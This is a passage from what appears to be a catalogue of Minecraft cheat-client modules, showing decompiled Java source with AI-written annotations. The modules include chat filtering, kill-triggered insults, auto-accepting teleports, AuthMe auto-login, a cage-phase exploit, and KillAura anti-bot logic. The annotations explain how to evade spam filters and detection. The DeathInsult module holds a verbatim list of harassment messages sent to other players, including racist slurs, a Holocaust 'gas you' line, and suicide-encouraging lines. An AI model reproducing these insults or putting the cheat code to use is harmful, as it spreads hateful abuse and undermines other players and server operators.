Setting<>(SPOOFSKINS, false, \"Spoofs player skins.\"));\n        settings.put(HIDETAB, new Setting<>(HIDETAB, false, \"Hides tablist/player list.\"));\n    }\n\n    public static List<String> strings = new ArrayList<>();\n\n    @Override\n    public void onDisable() {\n        super.onDisable();\n        scrambleNames = false;\n        hideScore = false;\n        hideTab = false;\n        spoofSkins = false;\n        strings.clear();\n    }\n\n    @RegisterEvent(events = {EventUpdate.class, EventPacket.class})\n    public void onEvent(Event event) {\n        if (event instanceof EventUpdate) {\n            EventUpdate em = (EventUpdate) event;\n            if (em.isPre()) {\n                scrambleNames = (Boolean) settings.get(SCRAMBLE).getValue();\n                spoofSkins = (Boolean) settings.get(SPOOFSKINS).getValue();\n                hideScore = (Boolean) settings.get(HIDESCORE).getValue();\n                hideTab = (Boolean) settings.get(HIDETAB).getValue();\n                final NetHandlerPlayClient var4 = mc.thePlayer.sendQueue;\n                final List players = GuiPlayerTabOverlay.field_175252_a.sortedCopy(var4.func_175106_d());\n                for (final Object o : players) {\n                    final NetworkPlayerInfo info = (NetworkPlayerInfo) o;\n                    if (info == null) {\n                        break;\n                    }\n                    if (!strings.contains(info.getGameProfile().getName())) {\n                        strings.add(info.getGameProfile().getName());\n                    }\n                }\n                for (Object o : mc.theWorld.getLoadedEntityList()) {\n                    if (o instanceof EntityPlayer) {\n                        if (!strings.contains(((EntityPlayer) o).getName())) {\n                            strings.add(((EntityPlayer) o).getName());\n                        }\n                    }\n                }\n            }\n        }\n        if (event instanceof EventPacket) {\n            EventPacket ep = (EventPacket) event;\n            if (ep.isIncoming() && ep.getPacket() instanceof S02PacketChat && (Boolean) settings.get(NAMEPROTECT).getValue()) {\n                S02PacketChat packet = (S02PacketChat) ep.getPacket();\n                if (packet.func_148915_c().getUnformattedText().contains(mc.thePlayer.getName())) {\n                    String temp = packet.func_148915_c().getFormattedText();\n                    ChatUtil.printChat(temp.replaceAll(mc.thePlayer.getName(), \"\\2479You\\247r\"));\n                    ep.setCancelled(true);\n                } else {\n                    String[] list = new String[]{\"join\", \"left\", \"leave\", \"leaving\", \"lobby\", \"server\", \"fell\", \"died\", \"slain\", \"burn\", \"void\", \"disconnect\", \"kill\", \"by\", \"was\", \"quit\", \"blood\", \"game\"};\n                    for (String str : list) {\n                        if (packet.func_148915_c().getUnformattedText().toLowerCase().contains(str)) {\n                            ep.setCancelled(true);\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n}\n// NOTE (AI): The replacement uses '\\2479You\\247r': the color code is carried inside the replacement so the local rerender keeps formatting, while the original packet is cancelled so the true name never renders.\n// NOTE (AI): The second branch is a crude chat filter: any message whose text contains a word from the join/leave/death list is cancelled outright, which also blocks legitimate messages that merely contain 'kill' or 'game'.\n// NOTE (AI): The static flags (scrambleNames, hideTab, hideScore, spoofSkins) are written on EventUpdate and read by other render modules, a shared-state broadcast pattern Sigma uses across modules.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/StreamerMode.java",
      "vanilla_hook": "EventPacket with isIncoming() and EventUpdate (Sigma); Spicy uses its packetEvent inside Module onEnable/onDisable; Rise hooks PacketReceiveEvent.",
      "anti_cheat_notes": "Cancelling a chat packet is invisible to the server: the message was already delivered, the client just declines to render it. The risk is user-facing, not detection: legit messages get eaten by the blacklist.",
      "variations": "Spicy HideName cancels only name-bearing packets; Rise 5.99 Denicker replaces the name with a generic string in the component before letting it render; Rise 6.x Streamer gates on a name toggle and casts the packet the same way."
     },
     {
      "name": "KillSults / DeathInsult",
      "found_in": [
       "Memeware 7.3",
       "Spicy"
      ],
      "purpose": "Reply to the kill feed with an insult when the player scores a kill.",
      "how_it_works": "Memeware DeathInsult matches seven kill-feed patterns on the unformatted text (killed by / slain by / void while escaping / magic while fighting / couldn't fly / fell to their death while escaping / Hypixel reward lines, plus a Spanish 'asesino ha' variant), then sends a random insult from a static table appended with a 12-character hex suffix via mc.thePlayer.sendChatMessage. Spicy KillSults runs the same idea on its own event bus with its own phrase table.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/misc/DeathInsult.java =====\n/*\n * Decompiled with CFR 0.145.\n *\n * Could not load the following classes:\n *  org.apache.commons.lang3.RandomUtils\n */\npackage me.memewaredevs.client.module.misc;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.module.Module;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.function.Consumer;\n\npublic class DeathInsult extends Module {\n\tpublic DeathInsult() {\n\t\tsuper(\"Death Insult\", 0, Module.Category.MISC);\n\t}\n\n\tpublic static String randomMessage() {\n\t\tfinal String[] randomMessages = { \"Did ur parents ask you to run away\",\n\t\t\t\t\"I'd tell you to uninstall, but your aim is so bad you wouldn't hit the button.\",\n\t\t\t\t\"You do be lookin' kinda bad at the game\", \"Did someone leave your cage open?\",\n\t\t\t\t\"rage at me on discord Dort#0001\", \"Is being in the spectator mode fun?\",\n\t\t\t\t\" you're the type of guy to quickdrop irl\", \"you got a solid 0% on the iq test.\",\n\t\t\t\t\"I understand why your parents abused you\", \"Do you practice being this bad?\",\n\t\t\t\t\"your aim is sponsored by Parkinson's\", \"go take a long walk on a short bridge\",\n\t\t\t\t\"mans probably plays fortnite lmao.\", \"plz no repotr i no want ban !\",\n\t\t\t\t\"you probably have the coronavirus.\", \"you really like taking L's.\", \"drown in your own salt\",\n\t\t\t\t\"I'm not saying you're worthless, but i'd unplug ur life support to charge my phone.\",\n\t\t\t\t\"could you please commit not alive?\", \"I don't cheat, you just need to click faster\",\n\t\t\t\t\"I speak english not your gibberish\", \"Your mom do be lookin' kinda black doe\",\n\t\t\t\t\"Hey look! It's a fortnite player\", \"Need some pvp advice? \", \" do you really like dying this much?\",\n\t\t\t\t\"you probably reported me, which means you have geay.\", \"you're the type to get 3rd place in a 1v1.\",\n\t\t\t\t\"how does it feel to get stomped on?\", \"you are the type of guy to use sigma.\",\n\t\t\t\t\" that's a #VictoryRoyale! better luck next time!\", \"lol you probably speak dog eater\",\n\t\t\t\t\"is a fricking niggler\", \"I'm black and this a robbery\",\n\t\t\t\t\"even your mom is better than you in this game.\", \"go back to fortnite you degenerate.\",\n\t\t\t\t\"your iq is that of a steve.\", \"go commit stop breathing plz\",\n\t\t\t\t\"your parents abandoned you, then the orphanage did the same\", \"you probably bought sigma premium\",\n\t\t\t\t\"mans probably got an error on his hello world program lmao\",\n\t\t\t\t\"how'd you hit the download button with that aim\", \"Someone in 1940 forgot to gas you\",\n\t\t\t\t\"did your dad go get milk and went missing?\", \"mans thinks that his ping is equal to his iq.\",\n\t\t\t\t\"stop eating dogs\", \"if the body is 70% water then how is your body 100% salt?\",\n\t\t\t\t\"mans got thrown at a brick wall by his parents when he was 2 years old.\",\n\t\t\t\t\"you don't have parents, now that's an L\",\n\t\t\t\t\"how are you so bad? im losing brain cells while watching you play\",\n\t\t\t\t\"even lolitsalex has more wins than you\",\n\t\t\t\t\"some kids were dropped at birth, but you got thrown at the wall.\", \"i dont hack i just meme\", \"memeware by dort\", \"did you forget the attack button?\"};\n\n\t\treturn randomMessages[RandomUtils.nextInt(0, randomMessages.length - 1)];\n\t}\n\n\t@Handler\n\tpublic Consumer<PacketInEvent> eventConsumer0 = event -> {\n\t\tif (this.mc.thePlayer != null && this.mc.thePlayer.ticksExisted >= 0\n\t\t\t\t&& event.getPacket() instanceof S02PacketChat) {\n\t\t\tfinal String look = \"killed by \" + mc.thePlayer.getName();\n\t\t\tfinal String look2 = \"slain by \" + mc.thePlayer.getName();\n\t\t\tfinal String look3 = \"void while escaping \" + mc.thePlayer.getName();\n\t\t\tfinal String look4 = \"was killed with magic while fighting \" + mc.thePlayer.getName();\n\t\t\tfinal String look5 = \"couldn't fly while escaping \" + mc.thePlayer.getName();\n\t\t\tfinal String look6 = \"fell to their death while escaping \" + mc.thePlayer.getName();\n\t\t\tfinal String look7 = \"You recieved a reward for killing \";\n\t\t\tfinal S02PacketChat cp = (S02PacketChat) event.getPacket();\n\t\t\tfinal String cp21 = cp.func_148915_c().getUnformattedText();\n\t\t\tif ((cp21.startsWith(mc.thePlayer.getName() + \"(\") && cp21.contains(\"asesino ha\")) || cp21.contains(look)\n\t\t\t\t\t|| cp21.contains(look2) || cp21.contains(look3)\n\t\t\t\t\t|| cp21.contains(\"You have been rewarded $50 and 2 point(s)!\") || cp21.contains(look4) || cp21.contains(look5) || cp21.contains(look6) || cp21.contains(look7)) {\n\t\t\t\tthis.mc.thePlayer.sendChatMessage(\"\" + DeathInsult.randomMessage() + \" [\"\n\t\t\t\t\t\t+ RandomStringUtils.random(12, \"abcdef0123456789\") + \"]\");\n\t\t\t}\n\t\t}\n\t};\n}\n// NOTE (AI): The pattern list covers vanilla, Hypixel, and Spanish-language kill feeds, and the trigger is gated on mc.thePlayer != null with ticksExisted >= 0, so the handler never fires before world state exists.\n// NOTE (AI): The random 12-char hex suffix (RandomStringUtils) defeats per-message spam filters: the same insult string is never sent twice, which is the actual anti-detection trick in this module.\n// NOTE (AI): The reply goes through vanilla sendChatMessage, so a message starting with '.' would be eaten by the client command system; the insults never start with '.', which is why it works.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/misc/DeathInsult.java",
      "vanilla_hook": "PacketInEvent (Memeware's LWJEB event bus); Spicy uses its packetEvent handler.",
      "anti_cheat_notes": "The send rate is one message per kill, far below spam thresholds. The hex suffix exists to beat chat filters, not anti-cheats; nothing movement-related is involved.",
      "variations": "Spicy KillSults lives in modules/memes with DougDimmadome, FloofyFoxes and Furries, which import S02PacketChat for the same receive-hook pattern; Spicy's Account.java also parses S02PacketChat for login handling."
     },
     {
      "name": "AutoTPA / FightBot / BedwarsTP / TPKiller / WatchdogAutoPhase",
      "found_in": [
       "Sigma 4.11",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Tenacity 6.0"
      ],
      "purpose": "Trigger a game action from a specific chat line: accept teleport and party requests, respond to kill messages, or react to anti-cheat checks.",
      "how_it_works": "Sigma AutoTPA matches 'has requested to teleport to you', 'has requested that you teleport to them', and party-invite lines on the formatted text, verifies the requester is in FriendManager.friendsList (name or alias), and sends /tpaccept or /party accept via ChatUtil.sendChat_NoFilter. Rise 5.99 FightBot and BedwarsTP parse kill/bed lines; Tenacity TPKiller reacts to anti-cheat or kill notices; Rise 6.x WatchdogAutoPhase watches for watchdog check messages to time a phase reset.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/AutoTPA.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.management.friend.Friend;\nimport info.sigmaclient.management.friend.FriendManager;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.network.play.server.S02PacketChat;\n\n/**\n * Created by cool1 on 2/4/2017.\n */\npublic class AutoTPA extends Module {\n\n    public AutoTPA(ModuleData data) {\n        super(data);\n    }\n\n    @Override\n    @RegisterEvent(events = EventPacket.class)\n    public void onEvent(Event event) {\n        EventPacket ep = (EventPacket) event;\n        if (ep.isIncoming() && ep.getPacket() instanceof S02PacketChat) {\n            S02PacketChat s02PacketChat = (S02PacketChat) ep.getPacket();\n            if (s02PacketChat.func_148915_c().getFormattedText().contains(\"has requested to teleport to you\") || s02PacketChat.func_148915_c().getFormattedText().contains(\"has requested that you teleport to them\")) {\n                for (Friend friend : FriendManager.friendsList) {\n                    if (s02PacketChat.func_148915_c().getFormattedText().contains(friend.name) || s02PacketChat.func_148915_c().getFormattedText().contains(friend.alias)) {\n                        ChatUtil.sendChat_NoFilter(\"/tpaccept\");\n                        break;\n                    }\n                }\n            }\n            if (s02PacketChat.func_148915_c().getFormattedText().contains(\"has invited you to join their party!\")) {\n                for (Friend friend : FriendManager.friendsList) {\n                    if (s02PacketChat.func_148915_c().getFormattedText().contains(friend.name) || s02PacketChat.func_148915_c().getFormattedText().contains(friend.alias)) {\n                        ChatUtil.sendChat_NoFilter(\"/party accept \" + friend.name);\n                        break;\n                    }\n                }\n            }\n        }\n    }\n}\n// NOTE (AI): Matching runs on getFormattedText(), so color-coded names still match, and the friend check runs before any command is sent, so only whitelisted requesters trigger a response.\n// NOTE (AI): ChatUtil.sendChat_NoFilter pushes a C01PacketChatMessage directly into the send queue, bypassing Sigma's client-side command parser and the vanilla sendChatMessage prefix handling.\n// NOTE (AI): The whole module is one EventPacket handler with isIncoming() as the gate: 46 lines, the smallest complete S02PacketChat consumer in the corpus.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/AutoTPA.java",
      "vanilla_hook": "EventPacket with isIncoming() (Sigma RegisterEvent); the other clients use their PacketReceiveEvent equivalents.",
      "anti_cheat_notes": "Auto-accepting a friend's TPA looks like an instant manual click; no anti-cheat measures it. The friend-list gate is the anti-abuse control: strangers cannot bait the module into sending commands.",
      "variations": "Rise 5.99 FightBot (combat) and BedwarsTP (movement) parse their own pattern sets; Tenacity 6.0 TPKiller (exploit) reads kill/check messages; Rise 6.x WatchdogAutoPhase reads watchdog chat notices to reset phase timing. All share the instanceof + component-text read."
     },
     {
      "name": "AutoAuthme",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Automate registration and login on auth-me servers by reacting to the server's prompt messages.",
      "how_it_works": "onPacketReceive scans S02PacketChat: if the unformatted text contains '/register' the module registers, if it contains '/login' it logs in. Register generates a random 8-char password, sends /register via sendChatMessage, schedules /login one second later on a static scheduled executor, and persists the per-server credentials to authmelogins.txt. The companion onPacketSend cancels the player's own /register and /login C01PacketChatMessage packets so nothing double-fires. State resets on WorldChangedEvent and GUI transitions.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/AutoAuthme.java =====\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.other.OpenGUIEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.util.math.RandomUtil;\nimport dev.rise.util.misc.FileUtil;\nimport lombok.Data;\nimport net.minecraft.client.gui.GuiDisconnected;\nimport net.minecraft.client.gui.GuiMainMenu;\nimport net.minecraft.client.gui.GuiMultiplayer;\nimport net.minecraft.client.gui.GuiScreen;\nimport net.minecraft.client.multiplayer.GuiConnecting;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\n\n@ModuleInfo(name = \"AutoAuthme\", description = \"Automatically authenticates you when the server is using the Authme plugin\", category = Category.OTHER)\npublic class AutoAuthme extends Module {\n\n    private static final ScheduledExecutorService SCHEDULED_EXECUTOR = Executors.newScheduledThreadPool(1);\n\n    private static final List<AutoAuthmeLogin> logins = new ArrayList<>();\n\n    private boolean loggedIn, loggingIn;\n\n    public static void loadLogins() {\n        final String loginContent = FileUtil.loadFile(\"authmelogins.txt\");\n        if (loginContent == null) return;\n\n        for (final String loginLine : loginContent.split(\"\\r\\n\")) {\n            final String[] loginData = loginLine.split(\":\");\n            if (loginLine.length() < 3) continue;\n            logins.add(new AutoAuthmeLogin(loginData[0], loginData[1], loginData[2]));\n        }\n    }\n\n    public static void saveLogins() {\n        final StringBuilder loginContent = new StringBuilder();\n        for (final AutoAuthmeLogin login : logins) {\n            loginContent.append(\"\\r\\n\").append(login.getServerIp()).append(\":\").append(login.getUsername()).append(\":\").append(login.getPassword());\n        }\n        FileUtil.saveFile(\"authmelogins.txt\", true, loginContent.toString());\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        loggedIn = loggingIn = false;\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (!loggedIn && !loggingIn) {\n            if (event.getPacket() instanceof C01PacketChatMessage) {\n                final C01PacketChatMessage packet = (C01PacketChatMessage) event.getPacket();\n                final String message = packet.getMessage();\n\n                if (message.equalsIgnoreCase(\"/register\")) {\n                    register();\n                    event.setCancelled(true);\n                } else if (message.equalsIgnoreCase(\"/login\")) {\n                    login();\n                    event.setCancelled(true);\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (!loggedIn && !loggingIn) {\n            if (event.getPacket() instanceof S02PacketChat) {\n                final S02PacketChat packet = (S02PacketChat) event.getPacket();\n\n                // Get the message with color and formatting codes removed\n                final String message = packet.getChatComponent().getUnformattedText();\n\n                if (message.toLowerCase().contains(\"/register\")) {\n                    register();\n                } else if (message.toLowerCase().contains(\"/login\")) {\n                    login();\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onOpenGUI(final OpenGUIEvent event) {\n        final GuiScreen gui = event.getNewScreen();\n        if (mc.getCurrentServerData() == null || gui == null\n                || gui instanceof GuiConnecting || gui instanceof GuiMultiplayer\n                || gui instanceof GuiDisconnected || gui instanceof GuiMainMenu) {\n            loggedIn = loggingIn = false;\n        }\n    }\n\n    private void register() {\n        loggingIn = true;\n        final String serverIp = mc.getCurrentServerData().serverIP;\n        final String username = mc.thePlayer.getName();\n        final String password = RandomUtil.randomStringOfSize(8, RandomUtil.QWERTY_CHARSET);\n\n        Rise.addChatMessage(\n                \"AutoAuthme is automatically registering and logging in for you! Hover for login info!\",\n                \"Server IP: \" + serverIp + \"\\nUsername: \" + username + \"\\nPassword: \" + password\n        );\n\n        mc.thePlayer.sendChatMessage(\"/register \" + password + \" \" + password);\n        SCHEDULED_EXECUTOR.schedule(() -> {\n            mc.thePlayer.sendChatMessage(\"/login \" + password);\n            loggedIn = true;\n        }, 1L, TimeUnit.SECONDS);\n\n        logins.add(new AutoAuthmeLogin(serverIp, username, password));\n    }\n\n    private void login() {\n        loggingIn = true;\n\n        final String serverIp = mc.getCurrentServerData().serverIP;\n        final String username = mc.thePlayer.getName();\n\n        for (final AutoAuthmeLogin login : logins) {\n            if (login.getServerIp().equalsIgnoreCase(serverIp) && login.getUsername().equalsIgnoreCase(username)) {\n                final String password = login.getPassword();\n\n                mc.thePlayer.sendChatMessage(\"/login \" + password);\n\n                Rise.addChatMessage(\n                        \"AutoAuthme is automatically logging you in! Hover for login info!\",\n                        \"Server IP: \" + serverIp + \"\\nUsername: \" + username + \"\\nPassword: \" + password\n                );\n\n                loggedIn = true;\n                return;\n            }\n        }\n    }\n}\n\n@Data\nclass AutoAuthmeLogin {\n    private final String serverIp, username, password;\n}\n// NOTE (AI): The receive hook is the trigger: auth-me servers print a prompt containing '/register' or '/login', and the module keys off that text rather than any packet flag, which makes it work across every auth-me variant.\n// NOTE (AI): The send hook cancels the user's own C01 /register and /login packets while loggedIn/loggingIn is false, so the credential flow runs exactly once per join.\n// NOTE (AI): Credentials are stored per server IP and username in authmelogins.txt; the login() path only fires if a stored entry matches, otherwise it stays quiet. The scheduled /login runs on a dedicated executor thread one second after register.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/AutoAuthme.java",
      "vanilla_hook": "PacketReceiveEvent (S02PacketChat prompts), PacketSendEvent (C01 cancellation), WorldChangedEvent and OpenGUIEvent (state reset).",
      "anti_cheat_notes": "Auth-me servers enforce no rate limit on login packets, so the one-second-delayed /login is indistinguishable from typing. The cancelled C01 packets never reach the server, so the server never sees the double-send.",
      "variations": "No other client in the corpus implements auth automation on S02PacketChat; Rise 6.x drops the module entirely."
     },
     {
      "name": "Phase (cage phase)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Gate the cage-phase exploit on S02 chat signals: enable phasing when the server announces the cage countdown, disable when the fight starts.",
      "how_it_works": "The EventPacket.In listener checks S02PacketChat; on BLOCKS_MC, unformatted text containing 'Cages open in: 2 seconds!' sets canPhase true, and 'Cages opened! FIGHT!' calls setState(false). The rest of the module removes the glass block under the player while cagePhasing and restores it on disable.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/exploit/PhaseModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.exploit;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport net.minecraft.block.BlockGlass;\nimport net.minecraft.block.state.IBlockState;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.BlockPos;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"Phase\",\n  description = \"Phases through blocks\",\n  category = Category.EXPLOIT\n)\npublic class PhaseModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.CAGE_PHASE);\n  private final Setting<Server> server = new Setting<>(\n    \"Server\",\n    Server.BLOCKS_MC\n  );\n\n  private final Queue<Packet<?>> packetQueue = new ConcurrentLinkedQueue<>();\n  private int ticksSinceLastSetback = -1;\n\n  private BlockPos phasePos;\n  private IBlockState phaseState;\n  private boolean cagePhasing, canPhase = true;\n\n  @Override\n  public void enable() {\n    super.enable();\n    canPhase = server.getValue() == Server.GENERIC;\n  }\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    if (mc.thePlayer != null && !packetQueue.isEmpty()) {\n      while (!packetQueue.isEmpty()) {\n        mc.thePlayer.sendQueue.addToSendQueueSilent(packetQueue.poll());\n      }\n    }\n\n    packetQueue.clear();\n    ticksSinceLastSetback = -1;\n\n    if (cagePhasing) {\n      if (phasePos != null && phaseState != null) {\n        mc.theWorld.setBlockState(phasePos, phaseState);\n      }\n\n      cagePhasing = false;\n      phasePos = null;\n      phaseState = null;\n    }\n\n    canPhase = true;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mc.thePlayer.ticksExisted < 5) {\n      packetQueue.clear();\n      ticksSinceLastSetback = 0;\n      phaseState = null;\n      phasePos = null;\n      cagePhasing = false;\n\n      canPhase = server.getValue() == Server.GENERIC;\n\n      return;\n    }\n\n    ticksSinceLastSetback++;\n\n    if (mode.getValue() == Mode.CAGE_PHASE) {\n      if (\n        ticksSinceLastSetback < 20 || !mc.thePlayer.onGround || !canPhase\n      ) return;\n\n      if (!cagePhasing) {\n        BlockPos under = new BlockPos(mc.thePlayer.getPositionVector()).down();\n        IBlockState state = mc.theWorld.getBlockState(under);\n        if (state.getBlock() instanceof BlockGlass) {\n          cagePhasing = true;\n          mc.theWorld.setBlockToAir(under);\n\n          // Printer.print(\"Phased through glass\");\n\n          phasePos = under;\n          phaseState = state;\n        }\n      } else {\n        if (phasePos != null && phaseState != null) {\n          // Printer.print(\"Replaced glass to not desync\");\n          mc.theWorld.setBlockState(phasePos, phaseState);\n          phaseState = null;\n        }\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (mc.thePlayer == null || mc.thePlayer.ticksExisted < 10) return;\n\n    if (cagePhasing) {\n      if (event.get() instanceof C01PacketChatMessage) return;\n      event.setCanceled(true);\n      packetQueue.add(event.get());\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (event.get() instanceof S08PacketPlayerPosLook) {\n      ticksSinceLastSetback = 0;\n      // Printer.print(\"Setback\");\n    } else if (event.get() instanceof S02PacketChat packet) {\n      if (mode.getValue() != Mode.CAGE_PHASE) return;\n\n      String raw = packet.getChatComponent().getUnformattedText();\n\n      if (server.getValue() == Server.HYPIXEL) {\n        // TODO\n      } else if (server.getValue() == Server.BLOCKS_MC) {\n        if (raw.contains(\"Cages open in: 2 seconds!\")) {\n          canPhase = true;\n        } else if (raw.contains(\"Cages opened! FIGHT!\")) {\n          setState(false);\n        }\n      }\n    }\n  };\n\n  private enum Mode {\n    CAGE_PHASE,\n  }\n\n  private enum Server {\n    GENERIC,\n    BLOCKS_MC,\n    HYPIXEL,\n  }\n}\n// NOTE (AI): The S02 branch is the BLOCKS_MC case inside packetIn; the EventUpdate and EventPacket.Out handlers drive the actual phasing.",
      "code_source": "November Recode 2.0, feature/module/impl/exploit/PhaseModule.java",
      "vanilla_hook": "EventPacket.In (S02PacketChat), EventPacket.Out (packet queue), EventUpdate (cage logic).",
      "anti_cheat_notes": "The chat gate makes the exploit self-timing: phasing only starts after the server's own announcement, so the window matches the server's expected transition rather than a fixed timer.",
      "variations": "Tenacity TPKiller and Rise 6.x WatchdogAutoPhase are the other chat-triggered exploit modules, but November's is the only one tied to a cage-open announcement."
     },
     {
      "name": "AntiBot (HytBedwars)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Extract real player names from S02 kill-feed and chat lines on the Hyt (Chinese) BedWars server, so KillAura skips anti-cheat bots.",
      "how_it_works": "The HytBedwars branch of onPacket matches two regexes against the unformatted text: '杀死了 (.*?)\\(' for kill feed and '> (.*?)\\(' for chat names. Each captured name goes into the static playerName list for 6 seconds (a background thread removes it), and the entity check later exempts entities whose names are in the list.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/misc/AntiBot.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.misc;\n\nimport com.google.common.collect.ComparisonChain;\nimport com.google.common.collect.Ordering;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.EntityUtils;\nimport net.ccbluex.liquidbounce.utils.misc.StringUtils;\nimport net.ccbluex.liquidbounce.utils.render.ColorUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimerOther;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.client.network.NetworkPlayerInfo;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.scoreboard.ScorePlayerTeam;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.world.WorldSettings;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport tv.twitch.chat.ChatEvent;\n\nimport java.util.*;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n@ModuleInfo(name = \"AntiBot\", description = \"Prevents KillAura from attacking AntiCheat bots.\", category = ModuleCategory.MISC)\npublic class AntiBot extends Module {\n\n    public static final List<String> playerName = new ArrayList<>();\n    private static List<EntityPlayer> invalid = new ArrayList<>();\n    private static List<EntityPlayer> removed = new ArrayList<>();\n\n    private final IntegerValue livingTime = new IntegerValue(\"LivingTimeValue\", 160, 0, 500);\n    private final BoolValue killer = new BoolValue(\"BotKiller\", true);\n    private final BoolValue tabValue = new BoolValue(\"Tab\", true);\n    private final ListValue tabModeValue = new ListValue(\"TabMode\", new String[]{\"Equals\", \"Contains\"}, \"Contains\");\n    private final BoolValue entityIDValue = new BoolValue(\"EntityID\", true);\n    private final BoolValue colorValue = new BoolValue(\"Color\", false);\n    private final BoolValue livingTimeValue = new BoolValue(\"LivingTime\", false);\n    private final BoolValue groundValue = new BoolValue(\"Ground\", true);\n    private final BoolValue airValue = new BoolValue(\"Air\", false);\n    private final BoolValue invaildGroundValue = new BoolValue(\"InvaildGround\", true);\n    private final BoolValue swingValue = new BoolValue(\"Swing\", false);\n    private final BoolValue healthValue = new BoolValue(\"Health\", false);\n    private final BoolValue derpValue = new BoolValue(\"Derp\", true);\n    private final BoolValue wasInvisibleValue = new BoolValue(\"WasInvisible\", false);\n    private final BoolValue armorValue = new BoolValue(\"Armor\", false);\n    private final BoolValue pingValue = new BoolValue(\"Ping\", false);\n    private final BoolValue needHitValue = new BoolValue(\"NeedHit\", false);\n    private final BoolValue duplicateInWorldValue = new BoolValue(\"DuplicateInWorld\", false);\n    private final BoolValue duplicateInTabValue = new BoolValue(\"DuplicateInTab\", false);\n    private final BoolValue hytBedwarsValue = new BoolValue(\"HYTBedwars\", false);\n\n    private final List<Integer> ground = new ArrayList<>();\n    private final List<Integer> air = new ArrayList<>();\n    private final Map<Integer, Integer> invaildGround = new HashMap<>();\n    private final List<Integer> swing = new 